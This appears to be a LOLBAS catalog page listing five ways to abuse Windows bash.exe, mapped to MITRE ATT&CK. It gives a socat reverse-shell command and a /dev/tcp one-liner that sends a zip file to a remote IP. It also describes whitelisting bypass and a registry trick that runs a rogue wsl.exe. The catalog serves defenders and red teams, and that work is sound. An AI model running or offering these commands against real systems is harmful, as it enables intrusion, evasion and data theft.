Catalog LOLBAS

LOL · Binary

Bash.exe

5 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Executes executable from bash.exe

Use Performs execution of specified file, can be used as a defensive evasion.

bash.exe -c "{CMD}"
Context
user
Native
Execute
MITRE
T1202

Execute

Execution Windows

Executes a reverse shell

Use Performs execution of specified file, can be used as a defensive evasion.

bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
Context
user
Native
Execute
MITRE
T1202

Execute

Execution Windows

Exfiltrate data

Use Performs execution of specified file, can be used as a defensive evasion.

bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'
Context
user
Native
Execute
MITRE
T1202

AWL Bypass

AWL / Policy Bypass Windows

Executes executable from bash.exe

Use Performs execution of specified file, can be used to bypass Application Whitelisting.

bash.exe -c "{CMD}"
Context
user
Native
AWL Bypass
MITRE
T1202

Execute

Execution Windows

When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

Use Execute a payload as a child process of `bash.exe` while masquerading as WSL.

bash.exe
Context
user
Native
Execute
MITRE
T1218